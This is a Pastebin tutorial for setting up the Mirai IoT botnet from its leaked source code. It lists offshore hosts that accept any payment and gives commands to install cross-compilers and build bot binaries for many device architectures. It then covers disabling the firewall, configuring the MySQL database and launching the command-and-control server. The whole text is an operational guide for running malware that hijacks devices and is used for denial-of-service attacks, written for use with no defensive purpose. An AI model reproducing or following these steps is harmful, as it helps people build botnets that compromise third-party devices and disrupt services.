miraip0ts

Mirai Botnet setup

Dec 31st, 2016
5,281
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. [#] Mirai Tutorial [#]
  2. UPDATED TUT FOR THE GO ERRORS
  3. @ _____ ._____________ _____ .___ @
  4. @ / \ | \______ \ / _ \ | |@
  5. @ / \ / \| || _/ / /_\ \| |@
  6. @/ Y \ || | \/ | \ |@
  7. @\____|__ /___||____|_ /\____|__ /___|@
  8. @ \/ \/ \/ @
  9. By: Jihadi4Potus/Jihadi4Prez
  10. youtube video: https://www.youtube.com/watch?v=G4vUp3ydjs0
  11.  
  12. * REQUIREMENTS *
  13. - 2x Debian 8 Offshore boxes - Providers. [x0]
  14. - Mirai Source - https://github.com/jgamblin/Mirai-Source-Code git clone https://github.com/jgamblin/Mirai-Source-Code
  15. - Good Instruction following skillz.
  16.  
  17. [x0] -Hosting Providers.
  18. https://www.nforce.com/
  19. http://ampnode.com/vps.html
  20. http://www.novogara.com/
  21. https://www.dataclub.biz/ (Accepts Everything but Paypal.)
  22.  
  23. ;This is a fully tutorial how to setup mirai from scratch. ENJOY :)
  24. ;This fixes golang errors when ./build debug telnet , is executed.
  25.  
  26. -Step One; Install the following on a Debian box. ex. Debian 7 x86_64-
  27. apt-get update -y
  28. apt-get upgrade -y
  29. apt-get install gcc golang electric-fence sudo git -y
  30. apt-get install mysql-server mysql-client -y
  31.  
  32. -Step Two; Installing and compiling the cross-compilers-
  33. ;If you run build.sh in /mirai folder you will get an error for armv6l, In the main tutorial this wasn't included so I added it to make life easier.
  34.  
  35. mkdir /etc/xcompile
  36. cd /etc/xcompile
  37.  
  38. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
  39. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
  40. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
  41. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
  42. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
  43. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
  44. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
  45. wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
  46. wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
  47.  
  48. tar -jxf cross-compiler-armv4l.tar.bz2
  49. tar -jxf cross-compiler-i586.tar.bz2
  50. tar -jxf cross-compiler-m68k.tar.bz2
  51. tar -jxf cross-compiler-mips.tar.bz2
  52. tar -jxf cross-compiler-mipsel.tar.bz2
  53. tar -jxf cross-compiler-powerpc.tar.bz2
  54. tar -jxf cross-compiler-sh4.tar.bz2
  55. tar -jxf cross-compiler-sparc.tar.bz2
  56. tar -jxf cross-compiler-armv6l.tar.bz2
  57.  
  58. rm *.tar.bz2
  59. mv cross-compiler-armv4l armv4l
  60. mv cross-compiler-i586 i586
  61. mv cross-compiler-m68k m68k
  62. mv cross-compiler-mips mips
  63. mv cross-compiler-mipsel mipsel
  64. mv cross-compiler-powerpc powerpc
  65. mv cross-compiler-sh4 sh4
  66. mv cross-compiler-sparc sparc
  67. mv cross-compiler-armv6l armv6l
  68.  
  69. -Step Three-
  70. ;Execute these in your ssh terminal, this will add to your ~/.bashrc
  71. export PATH=$PATH:/etc/xcompile/armv4l/bin
  72. export PATH=$PATH:/etc/xcompile/armv6l/bin
  73. export PATH=$PATH:/etc/xcompile/i586/bin
  74. export PATH=$PATH:/etc/xcompile/m68k/bin
  75. export PATH=$PATH:/etc/xcompile/mips/bin
  76. export PATH=$PATH:/etc/xcompile/mipsel/bin
  77. export PATH=$PATH:/etc/xcompile/powerpc/bin
  78. export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin
  79. export PATH=$PATH:/etc/xcompile/sh4/bin
  80. export PATH=$PATH:/etc/xcompile/sparc/bin
  81. export PATH=$PATH:/etc/xcompile/armv6l/bin
  82.  
  83. export PATH=$PATH:/usr/local/go/bin
  84. export GOPATH=$HOME/Documents/go
  85.  
  86. -Step Four-
  87. ./build.sh debug telnet
  88. ./build.sh release telnet
  89. ;Once you execute this in the main mirai directory ./Mirai-Source-Code/mirai, If you did this command before step 2 & 3 you would get an error about the Mysql and sql-drivers, since that's what alot of people have had trouble with. This fixes that.
  90.  
  91. apt-get install curl git mercurial make binutils bison gcc build-essential -y
  92. bash < <(curl -s -S -L https://raw.githubusercontent.com/moovweb/gvm/master/binscripts/gvm-installer)
  93. wget https://storage.googleapis.com/golang/go1.9.2.linux-amd64.tar.gz
  94. tar -xvf go1.9.2.linux-amd64.tar.gz
  95. mv go /usr/local
  96. export GOROOT=/usr/local/go
  97. export GOPATH=$HOME/Projects/Proj1
  98. export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
  99. go get github.com/go-sql-driver/mysql
  100. go get github.com/mattn/go-shellwords
  101.  
  102.  
  103. -Step Five; obfuscated string-
  104. ;I'm running Debian 8 x86_64 so this might be diffrent for you, but the ./debug/enc string {Domain.com} wasn't working for me so the fix is below, make sure you're in /mirai/debug
  105. ./enc string changeme.com
  106. ;Now add this to your table.c file.
  107.  
  108.  
  109.  
  110. -Step Six; Database setup-
  111. ;Now where going to setup the database permissions and users.
  112. ;If you have iptbales/ip6tables or any firewall install disable it.
  113.  
  114. service iptables stop
  115. /etc/ini.d/iptbales stop
  116.  
  117. ;Database setup
  118. cd Mirai-Source-Code-master/mirai/debug# mysql -u root -p
  119. /usr/bin/mysql_secure_installation
  120. ;It will ask you to set a password, make sure you remember this.
  121. ;Edit your main.go in /cnc/
  122. ex: 120.0.0.1:3306
  123. ;Once you've done the step above were going to add the database and user perms. follow this link.
  124. ;Create the database first
  125. create database mirai;
  126. ;Next select the database
  127. use mirai
  128. ;Copy and paste this into your terminal. (Not the pastebin link, the actual code on the site.)
  129. http://pastebin.com/BsSWnK7i
  130. ;Set the credentials you used in the ./cnc/main.go file. It should look like this- http://prntscr.com/dnskj5
  131. ;Now your server should be online
  132. Service mysql restart
  133. ;Once you restart the mysql server, go to your debug folder ./mirai/release you will seen a compiled file named cnc execute it.
  134. ./cnc
  135. ;You should see - http://prntscr.com/dnsluv
  136. ;Now your going to have to move the prompt.txt file in mirai main directory into the release folder
  137. ;Now you can login through your ssh client with telnet.
  138.  
  139.  
  140. Congrats you setup mirai successfully!!
Advertisement
Add Comment
Please, Sign In to add comment